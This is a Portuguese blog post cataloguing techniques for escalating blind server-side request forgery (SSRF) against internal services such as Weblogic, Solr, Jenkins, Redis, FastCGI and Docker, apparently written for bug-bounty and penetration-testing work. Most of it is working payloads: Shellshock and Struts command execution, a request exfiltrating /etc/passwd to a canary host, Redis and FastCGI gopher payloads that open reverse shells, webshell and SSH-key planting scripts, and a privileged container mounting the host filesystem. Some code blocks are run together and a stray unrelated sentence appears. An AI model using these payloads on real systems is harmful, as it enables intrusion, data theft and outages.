
Uma lista exaustiva de todas as maneiras possíveis de encadear a sua vulnerabilidade Blind SSRF.
Server Side Request Forgery ocorre quando você pode coagir um servidor a fazer requisições arbitrárias em seu nome. Como as requisições são feitas pelo servidor, pode ser possível acessar recursos internos devido à posição do servidor na rede. Em ambientes de nuvem, o SSRF apresenta um risco mais significativo devido à presença de endpoints de metadados que podem conter credenciais sensíveis ou segredos.
Ao explorar server-side request forgery, muitas vezes podemos nos encontrar em uma posição onde a resposta não pode ser lida. Na indústria, esse comportamento é frequentemente chamado de "SSRF Cego". Em tais situações, como provamos o impacto? Esta foi uma discussão interessante que foi provocada por Justin Gardner no Twitter:
Recentemente, tenho encontrado uma grande quantidade de SSRF cegos. Que tipo de RCE de um único disparo vocês já usaram como pivô para esses casos? Tenho acesso a algum Kafka e várias outras coisas. @nnwakelam @thedawgyg
— Justin Gardner (@Rhynorater) 13 de janeiro de 2021
Se você pode alcançar recursos internos, há uma série de cadeias de exploração potenciais que podem ser executadas para provar o impacto. Este post de blog tenta entrar em detalhes para cada cadeia de exploração conhecida ao aproveitar SSRF cego, e será atualizado à medida que mais técnicas forem descobertas e compartilhadas.
Se perdemos alguma técnica, envie-nos um tweet ou uma DM: @assetnote e nós a adicionaremos a este blog.
Costumo chamá-los de SSRF canaries, ao encadear um SSRF cego a outro SSRF internamente que faz uma chamada adicional externamente, ou por um redirecionamento aberto específico do aplicativo ou XXE cego. Confluence, Artifactory, Jenkins e JAMF têm alguns que funcionam bem.
— Frans Rosén (@fransrosen) 13 de janeiro de 2021
Para validar que você pode interagir com serviços ou aplicativos internos, você pode utilizar "SSRF canaries".
Isso ocorre quando podemos solicitar uma URL interna que executa outro SSRF e faz uma chamada para o seu host canário. Se você receber uma requisição em seu host canário, isso significa que você alcançou com sucesso um serviço interno que também é capaz de fazer requisições de saída.
Esta é uma maneira eficaz de verificar se uma vulnerabilidade de SSRF tem acesso a redes ou aplicativos internos, e também para verificar a presença de determinados softwares existentes na rede interna. Você também pode potencialmente pivotar para partes mais sensíveis de uma rede interna usando um SSRF canary, dependendo de onde ele está posicionado.
Com o objetivo de encontrar o maior número possível de hosts internos, fontes de dados DNS podem ser utilizadas para encontrar todos os registros que apontam para hosts internos.
Em ambientes de nuvem, vemos frequentemente ELBs que apontam para hosts dentro de uma VPC interna. Dependendo de qual VPC o ativo que você está atacando está localizado, pode ser possível acessar outros hosts dentro da mesma VPC.
Por exemplo, considere que o seguinte host foi descoberto a partir de fontes de dados DNS:```bash livestats.target.com -> internal-es-livestats-298228113.us-west-2.elb.amazonaws.com -> 10.0.0.82
Você pode supor que o `es` significa Elasticsearch e então realizar ataques adicionais neste host. Você também pode espalhar todos esses payloads de SSRF cego por todos os hosts "internos" que foram identificados por meio desse método. Isso geralmente é eficaz.
Para encontrar mais hosts internos, recomendo pegar todos os seus dados de DNS e usar algo como [AltDNS](https://github.com/infosec-au/altdns) para gerar permutações e depois resolvê-las com um [bruteforcer de DNS rápido](https://github.com/blechschmidt/massdns).
Quando isso estiver concluído, identifique todos os hosts internos recém-descobertos e use-os como parte da sua cadeia de SSRF cego.
## Vazamentos de Canal Lateral
Ao explorar vulnerabilidades de SSRF cego, você pode vazar algumas informações sobre a resposta que está sendo retornada. Por exemplo, digamos que você tenha SSRF cego via um XXE, as mensagens de erro podem indicar se:
- Uma resposta foi retornada
`Error parsing request: System.Xml.XmlException: Expected DTD markup was not found. Line 1, position 1.`
vs.
- Host e porta estão inacessíveis
`Error parsing request: System.Net.WebException: Unable to connect to the remote server`
Da mesma forma, além de XXEs, um aplicativo web também pode ter um vazamento de canal lateral que pode ser constatado ao inspecionar diferenças em:
- **Código de status da resposta**:
Ativo interno online:porta responde com `200 OK` vs. ativo interno offline:porta `500 Internal Server Error`
- **Conteúdo da resposta**:
O tamanho da resposta em bytes é menor ou maior dependendo de se a URL que você está tentando solicitar está acessível ou não.
- **Tempo de resposta**:
Os tempos de resposta são mais lentos ou mais rápidos dependendo de se a URL que você está tentando solicitar está acessível ou não.
---------------
# Técnicas
**Possíveis via HTTP(s)**
- [Elasticsearch](#elasticsearch)
- [Weblogic](#weblogic)
- [Hashicorp Consul](#consul)
- [Shellshock](#shellshock)
- [Apache Druid](#druid)
- [Apache Solr](#solr)
- [PeopleSoft](#peoplesoft)
- [Apache Struts](#struts)
- [JBoss](#jboss)
- [Confluence](#confluence)
- [Jira](#jira)
- [Outros Produtos Atlassian](#atlassian-products)
- [OpenTSDB](#opentsdb)
- [Jenkins](#jenkins)
- [Hystrix Dashboard](#hystrix)
- [W3 Total Cache](#w3)
- [Docker](#docker)
- [Gitlab Prometheus Redis Exporter](#redisexporter)
**Possíveis via Gopher**
- [Redis](#redis)
- [Memcache](#memcache)
- [Apache Tomcat](#tomcat)
- [FastCGI](#fastcgi)
- [Java RMI](#java-rmi)
**Ferramentas**
- [Gopherus](#gopherus)
- [remote-method-guesser](#remote-method-guesser)
- [SSRF Proxy](#ssrfproxy)
----------------------------------
**Possíveis via HTTP(s)**
<div id="elasticsearch"></div>
## Elasticsearch
**Porta comumente associada: 9200**
Quando o Elasticsearch é implantado internamente, geralmente não requer autenticação.
Se você tiver um SSRF cego parcial em que possa determinar o código de status, verifique se os seguintes endpoints retornam um 200:```http
/_cluster/health
/_cat/indices
/_cat/health
Se você tiver um SSRF cego em que possa enviar requisições POST, você pode derrubar a instância do Elasticsearch enviando uma requisição POST para o seguinte caminho:
Nota: a API _shutdown foi removida do Elasticsearch a partir da versão 2.x. Isso só funciona no Elasticsearch 1.6 e anteriores:```http
/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown
<div id="weblogic"></div>
## Weblogic
**Portas comumente associadas: 80, 443 (SSL), 7001, 8888**
**Canário SSRF: UDDI Explorer (CVE-2014-4210)**```http
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
Isso também funciona via GET:```bash http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
Este endpoint também é vulnerável a injeção CRLF:```
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close
Esta ferramenta irá escanear o domínio ou endereço IP v4 fornecido e fornecerá um resultado detalhado das portas abertas, endereço IP e algumas outras informações úteis.``` root@mail:~# nc -lvp 4000 Listening on [0.0.0.0] (family 0, port 4000) Connection from example.com 43111 received! POST /exp HTTP/1.11 X-CLRF: Injected HTTP/1.1 Content-Type: text/xml; charset=UTF-8 soapAction: "" Content-Length: 418 User-Agent: Java1.6.0_24 Host: attacker.com:4000 Accept: text/html, image/gif, image/jpeg, /; q=.2 Connection: Keep-Alive
sdf**SSRF Canary: CVE-2020-14883**
Retirado de [aqui](https://forum.90sec.com/t/topic/1412).
Linux:```http
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")
Windows:```http POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1 Host: vulnerablehost:7001 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")
<div id="consul"></div>
## Hashicorp Consul
**Portas comumente associadas: 8500, 8501 (SSL)**
O writeup pode ser encontrado [aqui](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html).
<div id="shellshock"></div>
## Shellshock
**Portas comumente associadas: 80, 443 (SSL), 8080**
Para testar o Shellshock de forma eficaz, talvez seja necessário adicionar um cabeçalho contendo o payload. Os seguintes caminhos CGI valem a pena tentar:
Lista curta de caminhos CGI para testar:
[Gist contendo caminhos](https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4).
**Canário SSRF: Shellshock via User Agent**```bash
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARY
Portas comumente vinculadas: 80, 8080, 8888, 8082
Consulte a referência da API do Apache Druid aqui.
Se você puder visualizar o código de status, verifique os seguintes caminhos para ver se retornam um código de status 200:```bash /status/selfDiscovered/status /druid/coordinator/v1/leader /druid/coordinator/v1/metadata/datasources /druid/indexer/v1/taskStatus
Tarefas de desligamento, exige que você adivinhe os IDs das tarefas ou o nome da fonte de dados:```bash
/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks
Encerrar supervisores em Overlords do Apache Druid:```bash /druid/indexer/v1/supervisor/terminateAll /druid/indexer/v1/supervisor/{supervisorId}/shutdown
<div id="solr"></div>
## Apache Solr
**Porta comumente usada: 8983**
**Canário de SSRF: Parâmetro Shards**
<blockquote class="twitter-tweet" data-conversation="none" data-theme="dark"><p lang="en" dir="ltr">Para complementar o que o Shubham está dizendo - escanear Solr é relativamente fácil. Existe um parâmetro shards= que permite ricochetear SSRF para SSRF para verificar se você está atingindo uma instância Solr às cegas.</p>— Хавиж Наффи 🥕 (@nnwakelam) <a href="https://twitter.com/nnwakelam/status/1349298311853821956?ref_src=twsrc%5Etfw">13 de janeiro de 2021</a></blockquote>
Retirado de [aqui](https://github.com/veracode-research/solr-injection).```bash
/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr
/xxx?q=aaa&shards=http://SSRF_CANARY/solr
SSRF Canary: Solr XXE (2017)
Apache Solr 7.0.1 XXE (Packetstorm)```bash /solr/gettingstarted/select?q={!xmlparser v='' /xxx?q={!type=xmlparser v=""}
**RCE via dataImportHandler**
[Pesquisa sobre RCE via dataImportHandler](https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler)
<div id="peoplesoft"></div>
## PeopleSoft
**Portas comumente utilizadas: 80,443 (SSL)**
Retirado desta pesquisa [aqui](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce).
**Canário SSRF: XXE #1**```http
POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
<ExternalOperationName>&x;</ExternalOperationName>
<OperationType/>
<From><RequestingNode/>
<Password/>
<OrigUser/>
<OrigNode/>
<OrigProcess/>
<OrigTimeStamp/>
</From>
<To>
<FinalDestination/>
<DestinationNode/>
<SubChannel/>
</To>
<ContentSections>
<ContentSection>
<NonRepudiation/>
<MessageVersion/>
<Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
</Data>
</ContentSection>
</ContentSections>
</IBRequest>
SSRF Canary: XXE #2```http POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1 Host: website.com Content-Type: application/xml ...
<div id="struts"></div>
## Apache Struts
**Portas comumente associadas: 80,443 (SSL),8080,8443 (SSL)**
Retirado de [aqui](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
**Canário SSRF: Struts2-016**:
Acrescente isto ao final de cada endpoint/URL interno que você conheça:```http
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
Portas comumente vinculadas: 80,443 (SSL),8080,8443 (SSL)
Retirado de aqui.
SSRF Canary: Implantar WAR a partir de URL```bash /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war
<div id="confluence"></div>
## Confluence
**Portas comumente vinculadas: 80,443 (SSL),8080,8443 (SSL)**
**Canário SSRF: Sharelinks (Versões do Confluence lançadas em novembro de 2016 e anteriores)**```bash
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/
SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)
Ticket de Segurança da Atlassian OAUTH-344```bash /plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
<div id="jira"></div>
## Jira
**Portas comumente vinculadas: 80,443 (SSL),8080,8443 (SSL)**
**Canário SSRF: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)**
[Ticket de Segurança da Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)
Ticket de Segurança da Atlassian JRASERVER-69793```bash /plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:[email protected]
<div id="atlassian-products"></div>
## Outros produtos da Atlassian
**Portas comumente vinculadas: 80,443 (SSL),8080,8443 (SSL)**
**SSRF Canary: iconUriServlet (CVE-2017-9506)**:
- Bamboo < 6.0.0
- Bitbucket < 4.14.4
- Crowd < 2.11.2
- Crucible < 4.3.2
- Fisheye < 4.3.2
[Ticket de segurança Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
Porta comumente vinculada: 4242
Execução Remota de Código no OpenTSDB
Canário SSRF: curl via RCE```bash /q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png
[OpenTSDB 2.4.0 Execução Remota de Código](https://github.com/OpenTSDB/opentsdb/issues/2051)
**SSRF Canary: curl via RCE - CVE-2020-35476**```bash
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
Portas comumente vinculadas: 80,443 (SSL),8080,8888
Ótimo artigo aqui.
SSRF Canary: CVE-2018-1000600```bash /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai
**RCE**
Siga as instruções aqui para obter RCE via GET: [Hacking Jenkins Parte 2 - Abusando de Meta Programação para RCE não autenticado!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)```bash
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;
RCE através de Groovy``` cmd = 'curl burp_collab' pay = 'public class x {public x(){"%s".execute()}}' % cmd data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)
<div id="hystrix"></div>
## Hystrix Dashboard
**Portas comumente usadas: 80,443 (SSL),8080**
Spring Cloud Netflix, versões 2.2.x anteriores a 2.2.4, versões 2.1.x anteriores a 2.1.6.
**SSRF Canary: CVE-2020-5412**```bash
/proxy.stream?origin=http://SSRF_CANARY/
Portas comumente vinculadas: 80,443 (SSL)
W3 Total Cache 0.9.2.6-0.9.3
SSRF Canary: CVE-2019-6715
Isto precisa ser uma solicitação PUT:```bash PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1 Host: {{Hostname}} Accept: / User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36 Content-Length: 124 Content-Type: application/x-www-form-urlencoded Connection: close
{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}
**SSRF Canary**
O advisory para esta vulnerabilidade foi divulgado aqui: [W3 Total Cache SSRF vulnerability](https://klikki.fi/adv/w3_total_cache.html)
Este código PHP gerará um payload para o seu host SSRF Canary (substitua `url` pelo seu host canary):```php
<?php
$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);
?>
Portas comumente usadas: 2375, 2376 (SSL)
Se você tiver um SSRF parcialmente cego, pode usar os seguintes caminhos para verificar a presença da API do Docker:```bash /containers/json /secrets /services
**RCE via execução de uma imagem docker arbitrária**```http
POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...
{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}
Substitua alpine por uma imagem arbitrária que você queira que o contêiner docker execute.
Portas comumente vinculadas: 9121
Esta vulnerabilidade afeta instâncias do Gitlab anteriores à versão 13.1.1. De acordo com a documentação do Gitlab Prometheus and its exporters are on by default, starting with GitLab 9.0.
Esses exporters fornecem um excelente método para um atacante pivotar e atacar outros serviços usando o CVE-2020-13379. Um dos exporters que é facilmente explorado é o Redis Exporter.
O endpoint a seguir permitirá que um atacante despeje todas as chaves do servidor redis fornecido por meio do parâmetro target:```bash http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
**Possível via Gopher**
<div id="redis"></div>
## Redis
**Porta comumente vinculada: 6379**
Leitura recomendada:
- [Tentando hackear Redis via requisições HTTP](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html)
- [Explorações de SSRF contra Redis](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)
**RCE via Cron** - [Superfícies de ataque Gopher](https://blog.chaitin.cn/gopher-attack-surfaces/)```bash
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
Gopher:```bash gopher://127.0.0.1:6379/_1%0d%0a$8%0d%0aflushall%0d%0a3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
**RCE via Upload de Shell (PHP)** - [Resumo do Redis Getshell](https://www.mdeditor.tw/pl/pBy0)```python
#!/usr/bin/env python
# -*-coding:utf-8-*-
import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
RCE via authorized_keys - Resumo do Redis Getshell```python import urllib protocol="gopher://" ip="192.168.189.208" port="6379"
sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n" filename="authorized_keys" path="/root/.ssh/" passwd="" cmd=["flushall", "set 1 {}".format(sshpublic_key.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd
if name=="main": for x in cmd: payload += urllib.quote(redis_format(x)) print payload
**RCE no GitLab via protocolo Git**
Ótimo writeup do Liveoverflow [aqui](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/).
Embora isso exigisse acesso autenticado ao GitLab para explorar, estou incluindo o payload aqui, pois o protocolo `git` pode funcionar no alvo que você está atacando. Este payload é apenas para referência.```bash
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
Porta comumente vinculada: 11211
<div id="tomcat"></div>
## Apache Tomcat
**Portas comumente utilizadas: 80,443 (SSL),8080,8443 (SSL)**
Eficaz apenas contra Tomcat 6:
[gopher-tomcat-deployer](https://github.com/pimps/gopher-tomcat-deployer)
Writeup de CTF usando esta técnica:
[De XXE a RCE: Writeup do Pwn2Win CTF 2018](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/)
<div id="fastcgi"></div>
## FastCGI
**Portas comumente utilizadas: 80,443 (SSL)**
Isso foi retirado de [aqui](https://blog.chaitin.cn/gopher-attack-surfaces/).```bash
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00
Portas comumente vinculadas: 1090,1098,1099,1199,4443-4446,8999-9010,9999
Vulnerabilidades de SSRF cego que permitem bytes arbitrários (baseadas em gopher) podem ser usadas para realizar desserialização ou ataques de codebase nos componentes padrão do Java RMI (RMI Registry, Distributed Garbage Collector, Activation System). Um artigo detalhado pode ser encontrado aqui. A listagem a seguir mostra um exemplo da geração do payload:```console $ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher [+] Creating ysoserial payload... done. [+] [+] Attempting deserialization attack on RMI Registry endpoint... [+] [+] SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]
**Ferramentas**
<div id="gopherus"></div>
## Gopherus
- [Gopherus - Github](https://github.com/tarunkant/Gopherus)
- [Artigo sobre Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
Esta ferramenta gera payloads Gopher para:
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
<div id="remote-method-guesser"></div>
## remote-method-guesser
- [remote-method-guesser - Github](https://github.com/qtc-de/remote-method-guesser)
- [Artigo sobre uso em SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
*remote-method-guesser* é um scanner de vulnerabilidades *Java RMI* que suporta operações de ataque para as vulnerabilidades *Java RMI* mais comuns. A maioria das operações disponíveis suporta a opção ``--ssrf``, para gerar um payload *SSRF* para a operação solicitada. Juntamente com a opção ``--gopher``, payloads *gopher* prontos para uso podem ser gerados diretamente.
<div id="ssrfproxy"></div>
## SSRF Proxy
- [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)
O SSRF Proxy é um servidor proxy HTTP multithread projetado para encapsular o tráfego HTTP do cliente através de servidores HTTP vulneráveis a Server-Side Request Forgery (SSRF).
---
Créditos:
Agradecimentos às seguintes pessoas que contribuíram para este post:
- [@Rhynorater - Numerosas contribuições para este post do blog](https://twitter.com/Rhynorater)
- [@nnwakelam - SSRF em Solr Shards](https://twitter.com/nnwakelam)
- [@marcioalm - RCE em Tomcat 6 via Gopher](https://twitter.com/marcioalm)
- [@vtnahira - RCE em OpenTSDB](https://twitter.com/vtnahira)
- [@fransrosen - Conceito de canários SSRF](https://twitter.com/fransrosen)
- [@theabrahack - RCE via Jenkins Groovy](https://twitter.com/@theabrahack)
- [@qtc_de - RCE via Java RMI](https://twitter.com/qtc_de)